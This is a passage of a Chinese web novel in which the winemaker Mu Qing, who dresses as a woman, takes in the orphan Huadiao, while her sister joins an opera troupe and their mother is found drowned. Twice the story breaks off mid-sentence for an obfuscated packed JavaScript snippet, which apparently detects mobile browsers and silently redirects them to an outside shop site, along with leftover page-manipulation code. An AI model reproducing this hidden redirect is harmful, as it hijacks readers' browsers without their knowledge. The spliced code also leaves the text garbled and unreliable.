这个小家伙,呆是呆了点,脑袋也不怎么灵光,可总的来说,还是很听话的,要不就把她留在身边?这样还可以常常看到她,图一个心安。 这个念头像是沸腾的水,持续地在慕卿心里冒泡泡,咕咚咕咚的,碎了一颗又升腾起一颗。慕卿暗讽自己,也许是寂寞在作怪,此时他竟然这般心软。 也不知过了多久,小花雕终于醒了,一个骨碌,在床上翻了小半个身子。 慕卿睁开假寐的眼,温柔地朝她道了句:“醒了啊。” 花雕呆呆地望着眼前的人,看得愣了——眼前人身上搭着松垮的睡袍,阳光洒在他身上,愈发映得他轮廓分明,洁白如玉的脖颈处,喉结分明,脸上的笑意和煦如春风。 许久许久,她眨着大眼睛,一脸纯良无辜地问道:“咦,你是谁?昨天带我回来的那个好看的姐姐呢?” “噗,我是男的。” 花雕很努力地回想了下昨天见到慕卿时,慕卿穿得花枝招展,踩着轻盈的小碎步,活脱脱一个邻家姐姐的模样。 再看看眼前的人,他额前有着饱满的美人尖,如瀑长发肆意地披着,一双眼睛乍起波澜地望向她,目中充满了打量的意味。 怎么看都不像是同一个人呢。 花雕思考了片刻,又问了句:“那是哥哥?” “叫‘师父’。”慕卿纠正道,又立即捞下她紧箍了整晚上的小爪子。 “狮虎,狮虎是什么,可以吃吗?” 慕卿汗颜,他也不知道,狮子老虎可不可以吃,但他作为师父,定是可以保她此生衣食无忧的吧。 他不能让花雕称自己为兄或者父,他背负着属于他的东西,这些东西早已成为他的心结,久久埋藏于心底,挣不脱也打不开。若是一定要给花雕个有关自己的名分,慕卿希望是“师父”。 以师之名,倾囊相授,让她有一技之长可以谋生。哪怕有一天,他永远地离开,再也不见她…… 毕竟,能陪着这个小鬼走多久,他自己都不知道。 “师父。”慕卿耐心纠正道。 “狮虎。” “你还是叫姐姐吧。”唉,算了,慕卿扶额,不能跟一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598146|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小孩子计较,她开心就好。 花雕也不问为什么不叫哥哥,只是甜着嗓子讨好道:“姐姐”。 听得慕卿心头一酥。 为了排解花雕心中的小郁闷,简单地用过早膳后,慕卿就想着带她四处走走。 又是女装,花雕却一点都不好奇他一个大老爷们为什么这么打扮。倒是对他的胭脂水粉眉黛感兴趣得很,学着他的样子,自己也在脸上涂涂画画。 慕卿看着身旁人把自己化成了个小花猫,替她洗了干净,不由得感慨,小孩子皮肤就是好看,整个人都水灵灵的。 若有什么不足的话…… 小花雕明显底子不足——正是长身体的年纪,却偏偏没有吃好,故而有些营养不良,显得唇色发白,身子骨亦有些羸弱。 慕卿想了想,递给了她一盒口脂,比着镜子蘸了蘸,想给身边的小鬼做个示范。 再一回头,身边的人满嘴鲜红,像是从罗刹地狱走出来的吃人饿鬼一般,唇色娇艳欲滴。 她竟然把口脂吃了! 慕卿生怕出了什么事,眉毛拧成疙瘩,呵斥道:“吐出来!” 小丫头还一副意犹未尽的模样看着他:“这个好香啊,难道不可以吃吗?” “……” 慕卿满脸黑线,所以他到底是收了个什么徒弟?! 看着慕卿收拾完,花雕揉着惺忪的睡眼,拿了一根头绳递给他:“帮我扎头发,我不会……以前都是娘亲扎的。” 一提到娘亲,花雕整个人就蔫蔫的,显得自己是个被娘亲抛弃的百般可怜的孩子。她这般楚楚可怜的模样,彻底打碎了慕卿所有的心里防线。 慕卿接过头绳,打算简单地把花雕的头发束起来,好不容易抓起这一丢丢头发,那边的头发又掉了,左右捯饬了一番,这才绑好。 “磨精我、我头疼……”小花用手背扶着小脑袋,表情显得略微痛苦。 “不舒服吗?是不是生病了?” “头发,太紧了。”花雕瘪着粉嘟嘟的小嘴,一脸委屈巴巴的模样,眼泪直在眼眶里打转转。 “抱歉。” 慕卿虽然日常是女装,但他戴的是假发模子,只用在头发上固定好,女子的发型都繁琐,给别的女孩子扎头发,慕卿还是第一次。 稍微调整发圈的松紧后,慕卿问她:“好些了吗?” 花雕坐在凳子上摆着小脚脚,乖巧地点了点头:“嗯!” 慕卿微微叹了口气,果然多了个小家伙就是不一样,这才半天不到,他愣是又当爹又当娘的,给她烧水、暖被窝、扎头发……真是不容易。 慕卿今日穿的是一款齐胸襦裙,浅绿色的料子,配以鹅黄色的上衣,显得活泼俏皮。他本来就高,整一个活灵活现的衣服架子,看得花雕直了眼。 小姑娘家家的,哪有不爱漂亮的?花雕兴奋地围着他转了好几个圈圈:“姐姐穿得真好看,小花也要穿这么好看的衣服。” 慕卿指了指墙角里她昨天穿过的脏衣服,讨好地哄道:“姐姐这里没有你穿的衣服,你暂时先穿这个,待会儿姐姐去给你买新衣服好吗?” 小花重重地点了点头,又开始笨手笨脚地给自己套上外衣,慕卿摇了摇头,小臂一把搂过她,蹲下来开始给她整理衣服。 慕卿身上好闻的香味若隐若现,小花吸了吸鼻子,小脑袋往他身上蹭了蹭:“呐,姐姐用的什么香粉,好香啊,小花也要涂。” “别闹。” 这个味道,并不是什么见得了光的东西。慕卿根本没有办法,这个香是空山谷在他身上留下来的伤疤,要不是香味会引人怀疑,他才不必男扮女装,活得不伦不类的。 5. 戏子入画满临初2 “从今天起,这个姑娘,花伶,也是我们柳源戏班的成员,女扮男装的戏子。” 沈佳期撂下这句话后,拂袖而去,整个戏班几十号人杵在原地,噤若寒蝉。 叶童舟本来右手挂着纱布,左手拿着半个还没来得及吃的肉包子,沈佳期话音刚落,那半个肉包子被惊得从手中掉落出去,咕噜一下滚到了花伶脚边。 花伶把包子轻轻地用脚推了推,挪给一旁翘首张望的大黄,根本没意识到,这是种怎样的殊荣。 那只小狗欢快地朝她摇摇尾巴,以风卷残云之势叼走地上的包子。 在旁人看来,沈佳期面冷心冷,城府极深,却因实力超群,管理有方,才颇有声望。 更重要的是,他向来标准极高,不是随便一个人进柳源戏班都可以入得了他的法眼,也不是所有人一进来就被默许去唱戏的,中间还会经历些筛选考核的环节。而这个孩子,才来戏班第二天,沈佳期就如此肯定她,这种待遇是旁人前所未有的。 也难怪,昨天为了她,沈佳期狠狠地惩罚了叶童舟。看看今天叶童舟的状态,就知道他伤得不轻。 “你们谁个儿要是走漏了消息,按班法处置!”班主见状,朝着懵逼的众人沙沙地补充了一嗓子。 柳源戏班的班法有三,一是不允许不通过戏班自己私下里接活,二是不得伤及同门,三是不准夜不归宿,违背其中任何一条,下场就是被扫地出门。 耿安国戏班之中有个约定俗成的规矩,但凡哪家戏班中清扫出来的叛徒,别的戏班也一概不接。那些个戏子们,除去唱戏,也无别的谋生手段。净身出户后,除了个别戏唱得好的能得之前的老主顾几分青睐,被收留下来,其他的,都不得善终,皆是凄惨余生。 不仅如此,在那些始终留在戏班里的人退台后,还能得到一笔不菲的赡养费。故而,几乎没有人会选择叛离。 大家心中都亮堂如明镜,深知“一天是梨园中人,一辈子都是梨园中人”的道理——这是一条不归路,自踏上这条路开始,就像是离弓的箭,根本回不了头。 叶童舟手伤得很重,同屋好心的小兄弟给他上药,他疼得直龇牙,却还拍着胸脯保证:“我明天还要上台呢。” 没人劝他,也没有人安慰他,大家都不想打消他的积极性。不出意外的话,这本该是他第一次上台,为了发挥自己最好的水平,叶童舟选的唱段是已经苦练了半年的《西厢记诸宫调》。 疼归疼,可叶童舟打心底里一点都不怪沈佳期。国有国法,家有家规,沈佳期作为管事,不多些手段,不心狠手辣一些,怎么管得住这么多口人? 花伶被安置在叶童舟隔壁的屋子里,不经意就听见有人给叶童舟上药时,屋里传来鬼哭狼嚎的惨叫声,顿时内心无比愧疚,又夹杂着丝丝的担忧。 几乎是毫不犹豫地,她决定去看望他。从起身到出门的那几步,花伶未曾有半分迟疑,可到了门口,心里却打了退堂鼓:这个小哥哥好像伤得很重,他会原谅我吗? 花伶蹑手蹑脚来到叶童舟窗外,踮着脚听屋里的动静,小半个脑袋的倒影印在窗柩上,无意间还弄出窸窸窣窣的一阵声响。 “进来。”门内的人稍显淡定,毕竟老早就瞧见门上有个瘦小的倒影,知道了她的到来。 叶童舟的右手被纱布悬挂固定着,免得又不小心磕碰着。左手却因为花伶的到来显得拘束,先是放在胸前,立马又背至身后,没多久又放在桌案上,好像这只手有些多余,无论在哪儿都显得不合适。 叶童舟无奈,最后给花伶递了盏茶,面上却始终是无事发生的模样,仿佛那些疼和痛都不存在似的。 她还是个小孩子,本来就不该看到沈佳期收拾自己的那个血淋淋的场景,叶童舟想在她面前表现得泰然自若点,免得让小花伶对柳源戏班和沈佳期生出一种畏惧——本来就是个可怜的孩子,好不容易才有了新的归宿。 本应是“仇敌”见面,分外眼红,叶童舟却一心念着手该放在哪里,花伶以为他生着气,不太敢惹他,只能捧着那盏茶,用余光去偷偷瞧他,毕竟花伶才初来乍到。 两个人沉默好久,花伶终于忍不住开口道:“你,有没有事啊?好像很疼的样子,要不我给你吹吹,吹吹就好啦。” 花伶想着,应该做点什么,去减轻他的疼痛。这样她作为肇事者,心里也会好过几分。便学着娘亲很久之前在自己受伤时的举动,一把抓过叶童舟受伤的爪子,开始有模有样地一顿鼓气。 以前每次花伶哪里疼的时候,娘亲会给她吹吹,好像这样有魔力一样,后来就真的不疼了。 “不要,幼稚!”叶童舟立马从花伶那里抽走自己的手,一摆头,满脸的傲娇。 甚至在扬起头来的时候,花伶还看到他脸上的那三道疤。 深紫色的血痂,似乎才刚愈合,放在他白净的脸上触目惊心——那是她的杰作,这让花伶心里更过意不去。 总想为叶童舟做点什么,以此来弥补他。 明日高悬,恰逢何婶正在给大家送饭菜,今天的午饭是翠绿的青菜和焦糖色的红烧肉,伴随着扑鼻的香气,让人很有食欲。 其他师兄们本都在院子里练戏,一到饭点,他们便在外面的台阶上席地而坐,三五围坐着讨论起近些日子发生的新鲜事,屋里只剩下叶童舟和花伶。 叶童舟的右手换了药,现在正绑着厚厚的纱布,当然是不方便行动。 花伶坐在梨木方桌前,打量着他用左手吃饭的样子半天,语气里面有着浓浓的不解:“你是不是傻呀,为什么要给他打右手?” “我、我忘了……”面对这个年纪比自己小一截的女孩的质疑,叶童舟觉得很难堪,脑子是种好东西,怎么关键时候就没了呢? 但如果他不替花伶挨打,她受得住吗?花伶那么小,一副弱不禁风的模样,沈佳期下手又重,这几十板子下去,不就去了半条命? 再说了,事情本来就是因他而起,他就想逗逗她,花伶却当了真…… “啊,我来喂你吃。”花伶熟练地端起了饭碗,夹了块红烧肉,以正好的角度,准备喂给叶童舟,提示着他做张口的动作。 叶童舟有些不配合,花伶便步步紧逼,索性直接把肉肉堵在了他的嘴前。 叶童舟被压迫得很厉害,不得已伸出另一只手来,把花伶的筷子一把推了回去。 叶童舟的这番举动,莫名其妙地让花伶想起她的妹妹小花,那个小丫头也是这样,总不好好吃饭。毎每如此,她就会像这样喂小花,所以此时此刻叶童舟的拒绝也在花伶的意料之中。 花伶并不恼,再次把筷子上的肉肉递过去,提醒他张嘴:“啊——” “你干、干嘛?”叶童舟被她这个突如其来的举动吓了一跳,这个昨天超凶的小女孩,今天怎么会这么温柔? “我喂你吃啊!”花伶说得理直气壮,这个手残,他能自己吃饭吗? 叶童舟望了望地上的米粒,那些都是之前他不小心弄洒的。 “才不要,我自己吃。”叶童舟又一把夺过她手中的碗,放在了桌子上,又抢过花伶手中的筷子,抢的时候,筷子上的肉以正好的弧度落进碗里。 “明明不行,还要逞强,一会儿给你吃鼻孔里去。”花伶在一旁叉着腰,气呼呼的,这个人,好心当成驴肝肺!她有点生气啦! 说话间,叶童舟夹起碗里的那块肉,肉块却很不争气地呲溜滑掉在地上,滚到了花伶脚边,叶童舟望向她,欲哭无泪。 娘亲说了,粮食不能浪费,更何况是肉肉,但是掉在地上的东西人不可以吃。花伶又想起了白天那只小黄狗,要不,待会留给它吧。 “看吧,我就说了不行哦。”花伶立马上前夺走他的碗筷。 摒弃了所有的倔强,像个被母亲悉心照料的孩子,任由花伶一口口喂着。 那一瞬,叶童舟竟然觉得前所未有的温暖,他是孤儿,被班主收养, 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惩罚归惩罚,沈佳期还是很心疼这个班子的每一个人的,毕竟大家同甘共苦,一起走了这么久,也不容易,就想着让花伶换下隔壁小哥,去替叶童舟上药,以此瓦解两人间的矛盾。 沈佳期拿着装药的瓷瓶路过门口,却不曾想被眼前和平的一幕刷新了认知,心念道,这两人果然还是孩子,心思单纯,根本不长记性,前脚闹矛盾后脚和好。 叶童舟一眼瞟到了窗外的沈佳期,沈佳期倒也不觉得尴尬,反而顺水推舟地告诉他:“员外家的那场戏,让般若替你上吧。” “可是,师父……”苦练半年,第一次登台的机会,就这么没了,叶童舟有点不甘心。 似是一眼看穿,沈佳期直戳中他的痛点:“可是什么!我就问你?现在的你,拿得起行头吗?” “你别哭啊,你别哭,以后的日子还很长,你有的是上台的机会呢。”沈佳期走后,看着泪如断珠的叶童舟,花伶赶紧安慰道。 “都怪你。”叶童舟声音很低,被淹没在了饭菜的咀嚼声中。 可花伶还是听见了,她并未言语,只是埋低了头。 顺理成章地,叶童舟与周员外的五十大寿的戏台无缘。虽说受伤了,理应好好休养,可是他那天清晨还死乞白赖地央求沈佳期带他去员外家。沈佳期望了望一旁的小花伶,只是嘱咐道:“你来护着他,人多场面乱,别让别人碰到了他的手,知道了吗?” 眼看着将功赎罪的好机会来了,花伶点头如捣蒜,心想,童舟哥哥就由我来保护。 这场戏很热闹,柳源戏班又是挣了一大笔。一唱完整个柳源戏班就马不停蹄地赶路,奔着新的委托去了。 大概过了个把星期,沈佳期把花伶叫过去谈话。 起初是些“最近过得还习惯吗”之类的问候。 可在最后,沈佳期问了句改变花伶一生的话:“等他好了,你们就一起学戏好不好?” 先前说让她留在戏班,当一名戏子,只是为了让她有个落脚的地方,让戏班里的人不欺负她。唱戏还只是沈佳期单方面的想法,究竟想不想唱,还要看花伶的意愿。 “嗯嗯。”此时花伶跟叶童舟已经摒弃了过去的种种不愉快,二人每天在一起玩耍,相处得颇为融洽,她自然知道,沈佳期所说的“他”,指的是叶童舟。 看着小花伶颇为上道,沈佳期连连点头:“你是个可塑之才,而我也乐意教你。” 这是对花伶的认同,学戏讲究的是童子功,打好了底子,登台献唱便不是一件难事。 柳源戏班收养的是一帮孤儿,已经发展了几十年了,现如今是第三代。 现任班主叫劳章驰,曾经柳源戏班的台柱子,在耿安国内颇有名望。劳班主负责的是整个戏班的运营,没事也吼两嗓子,他年纪也就四十来岁,因为天天操心,头发胡子白了一堆。 花伶年纪小,个头也矮,身子骨弱,只能扮演一个瘦弱的小男孩,娃娃生一角当之无愧。 6. 酒尽桃花凉3 七九已过,万物尚在懵懂之中,枯木还未绽出新芽,鸟兽蛰伏,远看去是毫无生机的灰暗。依旧是呵气成霜的温度,连风里都卷着料峭。 慕卿眼见着花雕身上的单薄旧衣,怕她冷,就把她的小手紧紧地圈握在自己温暖的掌心。 两人并排走在集市上,像一对亲密无间的姐妹,羡煞旁人。 在裁缝铺子里量过身形,慕卿挑选了最好的料子,掌柜乐呵呵交代过几日再来取衣,满脸笑意将二人送出店铺。 花雕刚出门就听见不远处有个卖糖葫芦的小贩在吆喝,眼睛都亮了。 可是她没有钱,也不好意思找慕卿要,只是静静地咬着嘴唇不说话,用小手揪着自己的衣服,把布料揉成一个小团,放在手心里捏来捏去,眼睛还时不时地瞟向那个小贩。 慕卿刚想牵她的手,却将她的这个小举动尽收眼底:“想吃?” “嗯。”小花雕只是乖乖地应了声,没有恳求,也没有胡搅蛮缠,尔后顺势牵上慕卿的手,正准备像来时那般同他回去。 本来就是寄人篱下,慕卿有疑问,她就回答,他要是不买,花雕也当是理所当然。 以往在娘亲身边,吃糖葫芦都是逢年过节才有的奢望。面对陌生的慕卿,哪怕是再想吃,花雕不敢胡搅蛮缠,生怕一个不小心她又会流落街头,毕竟这个陌生人,愿意收留她,给她温暖和依靠,这于她,便足矣。 哪知慕卿二话不说,马上给她买了一串。花雕接过,说了句“谢谢”,笑得眉眼弯弯。 “以后不用跟我说谢字,见外。知道了吗?”礼貌是礼貌,慕卿觉得这句道谢像是鞋里的石头,怪硌人的,平白无故多了些讨好和客套。 “嗯,好。”正欲下口,花雕却发现身边人手中空无一物,他没有再买第二串,便问他:“磨精不吃吗?” 这个突如其来的称呼扫走慕卿心中刚升腾起的欣慰,他愠道:“不用管我。吃你的。” 三两颗山楂下肚,花雕像是突然想起什么一样,仰着小脑瓜问慕卿:“姐姐,我昨天吃饭是不是没有给钱?” 慕卿一副云淡风轻的模样,心想小丫头片子还惦记着这事呢,不过之前他给了那小二大半兜子铜钱,付那面钱绰绰有余,便浅浅应道:“嗯。” 不过花雕并不知晓这件事。 “姐姐你可不可以先借我些钱,我以后会还给你的。” 见她眼里闪着小星星,态度相当诚恳,慕卿想起后来自己还点了盘小菜也未结账,就随手抓了大概几十文钱,也没有细数,把它们一把放在了花雕的小爪子上:“自己去给老板。” 慕卿不敢去,老实说,头次吃霸王餐,还是自己出的馊主意,他怕老板为难他。不过再怎么苛刻的老板,应该不会为难一个孩子吧,好歹还是回来付钱的。 倒是花雕,一板一眼,数得很仔细。慕卿看着花雕认真的模样,有些忍俊不禁,这个小姑娘啊,单纯又较真,要是他,早就把这件事抛在脑后了。 花雕没有上过学堂,自然数不清手里的钱币有多少,只是翻来覆去念着,一字一顿:“一、二、三、四……” 如此反复,到第三遍的时候几乎是要哭出来,慕卿见势不对,蹲下来把她掌中的铜钱一枚枚捻进自己的掌心,替她数着:“一、二、三……四十八。” “四十八文,小花以后会还给姐姐的。”数罢,花雕摊开双手,从他手中接过铜钱。 “嗯,去吧。”慕卿朝他挥挥手,不以为然,个小丫头片子哪来的钱,不都是我的嘛。 慕卿驻足在酒家门口,看着她瘦小的身影慢慢挪了进去。 八字撇胡子的掌柜正噼里啪啦打着算盘,身披抹布的小二依旧忙得像个陀螺,花雕比柜台还要矮上几分,此时正小心翼翼地捧着把铜钱,仰头立在柜台前,目光无瑕。 “老板,小花昨天在你这里吃了碗面,但是小花和姐姐没有带钱,所以今天来补给你,希望老板不要生气。”花雕碎碎念着,逐字逐句,条理清晰。 掌柜探出头,够着上半身好不容易才看到有个人。 “给。”花雕踩上旁边的木凳,小爪子往上递出老远。 掌柜惊讶得八字撇的胡子都歪了,吃了“霸王餐”还回来送钱,可真是件稀罕事,虽然数目不多。 花雕见他没接,以为他生气了,便踮起脚把小爪子举得更高,将手中的钱币悉数放在算盘边,跳下木凳跑了出去。 刚出门,看见屋外倚着店门的慕卿,花雕声音里带着哭腔,眼泪说落就落:“姐姐,掌柜没收我的钱,他是不是生气了呀?” “没事的,知错能改,咱们花雕就不是坏孩子,掌柜会理解你的。”慕卿拭去花雕眼角挂着的泪珠,安慰道。 “真的吗?”花雕半信半疑。 “嗯。” 眼见着慕卿如此确定的眼神,花雕这才放下心来。 慕卿牵着花雕,两人正打道回府。路过河边,看到河堤上也不知道发生了什么事,有官差有百姓,水泄不通地围了一群人。 “想去看看。”毕竟是小孩子,本质是充满无限好奇的。 “走。”慕卿并不喜欢凑热闹,只因为花雕想去瞧瞧,便拉着她大步流星地朝人群里扎去。 河中捞出来具女尸,尸体已经被河水泡得泛白,听仵作分析,这人约莫是昨日子时掉入河中,死亡原因还有待进一步剖验。 慕卿不认识那是谁,可是他察觉到了身旁人的不对劲。小花雕用力地揪住他的袍子,死死地咬住嘴唇,完全没了之前要看热闹的好奇心。 慕卿回头,小家伙浑身上下都在哆嗦,泪珠正吧嗒吧嗒地往下落着。 这个人她认识?看着花雕和妇人的衣着布料款式有些相似,年纪大约在二三十岁,难道…… “别看。”慕卿反应过来,迅速捂住花雕的眼睛,把她虚揽在怀里。 太残忍了,如果花雕没有看到这场景,她至少还有希望,依然会幻想着娘亲还活着。早上慕卿还跟她信誓旦旦地说,要带她去找娘亲,现在硬生生地被打了脸。 花雕在慕卿臂上留下一排整齐的牙印,随即挣脱开他的怀抱。 血浓于水的深情,纵然花雕再小,却一眼就认出了,那是自家娘亲。 “娘亲醒醒,快睁开眼睛看看,你的小花在这里啊。”根本就不懂得生离死别的年纪,还没有办法接受娘亲已经离开自己的现实。 “小花已经两天没看见你了,小花超想你的,娘亲你快看看我啊。” 说好的离开,说好的马上就回来,结果却让别人来“接走”她们,花雕怎么也想不明白,为什么昨天娘亲还是好好的,今天就躺在这里一动不动。 “她睡着了,再也不会醒来的那种。”慕卿不知道什么时候出现在她身后,像是淡看了生离死别般,幽幽地说了句,又把花雕揽进怀里。 花雕挣脱开他的怀抱,伸出自己的小拳头使劲砸在慕卿胸口:“你胡说!” 慕卿在胸口缠了几圈布条,这一拳下去,他们都不疼。只是那个瞬间,慕卿心上像被锤出一个洞来,心疼到难以言说。 很快衙门就结案了。花雕娘亲是溺水身亡,并排除他杀的可能:一来她身上没有其他伤口和任何挣扎的痕迹,二来她患有很严重的肺痨,饱受着病痛的折磨。 慕卿找人厚葬了花雕的娘亲,在耿安国西梁城的望南山上,堆起了一块坟茔,立了个体面的墓碑。 花雕头发散乱,十指上都是黄泥,木讷地说道:“娘亲没有走,娘亲她就在这里,花雕以后要是想她了,就可以常来这里看看她,磨精你说是不是?” 慕卿“嗯”了一声,看着她痴痴傻傻望着面前小土包的模样,只觉得无限地心疼。虽然他也不知道这份心疼来自哪里,是对面前这个小娃娃悲惨身世的同情,还是在她身上看到了过去的自己…… 山间桃花纷飞,一块灰色的墓碑立在其间。大概除了慕卿和花雕,再也不会有人知道,这里,埋了一个人,她是个好母亲,用最后的力量,替自己的女儿们找到了归宿。 夜幕开始降临,寒意渐渐弥漫开来,他们俩在“花雕娘亲之墓”面前站了一整天。 花雕不知道母亲姓甚名谁,才这样刻字。 “走吧。” 慕卿拽了拽她的衣角,小花雕站得笔直,如风中坚毅的磐石,一动不动。 才小小的年纪,还没有享尽承欢爹娘膝下的欢娱,却要忍受别离之苦,慕卿只是蹙着眉,一言不发。 慕卿又一把将她捞进怀里,任由小花雕拳打脚踢地闹腾:“你放开我,我要看娘亲!” 缅怀也够了,慕卿蓦地想起另外一件事,他必须尽快确认。 肺痨会传染,慕卿怕花雕染疾,直接把她驮到医馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598148|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,做了个全面的检查。索性无大碍,小丫头身体健康,慕卿悬着的心才落下。 想必是花雕的娘亲在日常中时时处处避着她,这才使其幸免,以至于花雕都不知道娘亲患了重病,慕卿心里又是一阵唏嘘,真是位好母亲。 可从头到尾花雕就像朵蔫巴的花,任由身边人摆弄,悄无声息地哭,慕卿觉得长此以往不是个事。看来,是时候该找点事让她做了,因为忙碌起来,可以忘记一切的不愉快,想到这里,慕卿幽幽地叹了一口气。 不知怎的,慕卿把生死看得很淡很淡,就好像吃饭喝水一样寻常,所以他并不明白,丧亲之痛是一种什么感受,只是看着花雕难过,觉得心里不舒坦。 花雕哭得累了,回家没多久,窝在慕卿的床上就睡着了。 可总算消停下来了,慕卿望着地上铺的一小床被子,钻了进去,把漏在被子外的大长腿蜷缩起来,心想:以后要让这丫头自己睡!可不能大半夜再爬进他的被窝了,更不许像这样“鸠占鹊巢”。 花雕这天又起得很晚,慕卿看着被子里隆起的一小团,摇了摇头,微微叹了口气,算了,先让她睡着吧,毕竟这丫头也怪可怜的。 慕卿煮了一锅小米粥,翘着二郎腿,吃着面前的一小碟咸菜。 看花雕揉着惺忪的睡眼满屋子找他的身影,远远地呼唤着她:“吃饭吧。” 花雕起得晚,面前的粥已经被慕卿重新盛了好几次,晾成了合适的温度,她却不吃,只是不停地用小勺搅着碗里粥上的一小团咸菜,看着它们在碗里均匀地散开。 慕卿用手敲了敲桌子,示意她快吃,花雕依旧无动于衷。 这丫头!真不乖。 慕卿一把抓过她的碗,递到她唇边,花雕摇了摇小脑袋,那模样,又虚弱又倔强,让慕卿觉得自己这样强迫她吃饭的行为是种过错。 “今天柳源戏班有场活动,你要不要去看姐姐?”他知道带走大花的人是沈佳期,柳源戏班的管事。 或许亲情才是弥补失去挚亲带来的伤痛的最好方式,慕卿想着,向她提议道。 果然,花雕闻言立马就来了精神:“姐姐在哪里?” “吃完!”慕卿欲擒故纵,也不给她再递其他话。 随即,花雕抢过慕卿手中的碗,三两下喝得精光。 “多吃点。”慕卿替她又盛了一碗,尔后趴在桌上,端详她认真吃饭的模样。 嗯,真乖。顿时心里无限欣慰。 柳源戏班今日在一个大户人家里开唱,那家的老爷子今天五十大寿,听说柳源戏班也在西梁,便花了重金去请他们登台献唱,一来图个喜庆,二来求个热闹。 一个是名噪全国的戏班,一个是名满耿安的豪门大户,消息传得沸沸扬扬。慕卿逛街时无意中得知这个,那天他看着沈佳期当街带走了大花,想必大花此时也在戏班里。 慕卿轻功尚可,带着花雕翻墙而过轻而易举,却不想被误当成梁上君子,扰了主人家的喜庆。奈何大户人家门卡很严,他们没有收到邀请,并不在名册里,自然是进不去的。无奈,两人只能坐在路边,望着车水马龙,等着大花他们出来。 宾客陆陆续续地都散了,家中有闲下来的女眷好奇门外的二人,明明其中一个女子衣着华美,却被拒之门外,不由得询问一番。 “我们来寻柳源戏班的人,您能否高抬贵手,放我们进去?” 那妇人笑得爽朗:“他们啊,早就从偏门离开了。” “姐姐去了哪里呢?”听说看不到姐姐,花雕的一张小脸又瘪成苦瓜状。 “这倒不知道了,不过我听说这柳源戏班常年在全国各地间辗转,名声倒是不小呢。” 全国各地……辗转……这两个词听得慕卿一愣一愣的,这得到什么时候,姐妹俩才会再相遇啊,想到这里,慕卿不禁为花雕捏了把汗。 这些年,他虽然也是浪迹辗转,可他毕竟只是一个人,无牵无挂,偌大的天涯,于他而言,只要有方栖息之地,哪里都是家。可花雕不同,她有亲人,这天地这么大,要找到花雕的姐姐,并不是一件易事。 “怎么办?姐姐走了……”花雕整个人又蔫了。 “跟我走。” 他依旧话不多,只是能让花雕感到莫名其妙的心宁。毕竟从相遇的那天起,花雕就有了依靠,她所有的安全感,都来自面前的这个男人。 7. 酒尽桃花凉4 “磨精我们去哪里呀?” “山里。” “哦哦哦,”花雕似懂非懂地应了一句,又仰着小脑袋问他:“咱们去山里干嘛呀?” “酿酒。” 慕卿是耿安国小有名气的酿酒师,这些年都在四处奔波,一心一意钻研酿酒之术。 杯中物一直是颇有争议的存在。 爱酒的人沉醉其中,一啜一呡都是无限滋味,喝得烂醉如泥;恨酒的人厌倦其中人情世故,多数时间敬而远之,免得徒生事端。 好酒知时节,春酿犹如金。说的是上上等的酒,是在春天酿成。 正是始春,经过一冬的沉淀,溪河里面的渣滓沉积到了底部,上部分的水质愈发干净澄澈,用此时水酿得的酒,口感纯净,入口绵柔,是其他季节所不能比拟的。 山中活水远离尘嚣,少了几分世俗,透着大自然的浑然天成,正是酿酒的绝佳原材料,让多少酿酒人趋之若鹜。 慕卿一直也都沉迷其中,而现在不同的是,他身边有了个小包袱,需要他带着四处跑。 慕卿一路驾着马车飞驰,小花雕坐在车内,郁闷至极,不哭也不闹。娘亲走了,姐姐也找不到,见不到她们,她很难过。 车内安静得恍若无人,慕卿不放心,扯着嗓子喊了句:“花雕?” 依旧半天没有声响。这个小丫头又在搞什么鬼? 孩子静悄悄,多半在作妖。 慕卿轻轻地揭开帷幔,车内人睡得正酣,一个骨碌,差点没从马车的软榻上摔下去。 慕卿眼疾手快地接住了她,唉,真是个不让人省心的孩子。 可是看她安安静静地呆在马车里,没出什么岔子,慕卿觉得莫名地安心,替她盖了一方薄毯后,又继续赶路。 有时候慕卿觉得自己养了个女儿,虽然这辈子,大概是永远不能成亲的吧。如果说有什么可以留给花雕的,除了这一手酿酒手艺,别无其他。 从望南山去醴泉山路途稍远,等两人到达,已时近傍晚。花雕睡得正酣,慕卿没有立刻叫醒她,而是将她一把抱入自己的怀中。 感受到了身下的震动,花雕揉了揉惺忪的睡眼,完全不知道发生了什么,只知道,自己又在一个温暖的怀抱里。 香气扑鼻,久久萦绕不去,这不是慕卿还能是谁? “醒了啊?”耳际传来慕卿清冽的声音。 花雕窝在他怀里,蹭着他胸前的柔软,莫名其妙觉得,眼前的这个人,有点像娘亲。 温柔,贤淑,对她百般好,虽然他们相识不过才三天。 “姐姐。”花雕挂在他的脖子上,欢快地唤了一句,吧唧亲了一下他的脸颊。 “叫‘师父’。”慕卿被这个突如其来的吻吓到,皱了皱眉,又一把将她从自己身上拉开,端正地立在地上,随即蹲在她面前,义正言辞地纠正道。 花雕隐约察觉到了他的不悦,她不知道师父是什么意思,但慕卿之前就告诉她,应该唤他“师父”。 花雕把头埋进他的臂弯,声如蚊呐地说了句“狮虎”。 “乖~”慕卿摸了摸怀中人的小脑袋,满眼都是宠溺。 让她叫自己“师父”,是因为民间有一种说法,徒弟学艺若是不拜师,便不能学到师父的全部真传。殊不知,极少有师父会倾囊相授,因为若是徒弟都学会了,师父也就没有什么优势了,所以不少的师父都会选择“留一手”。 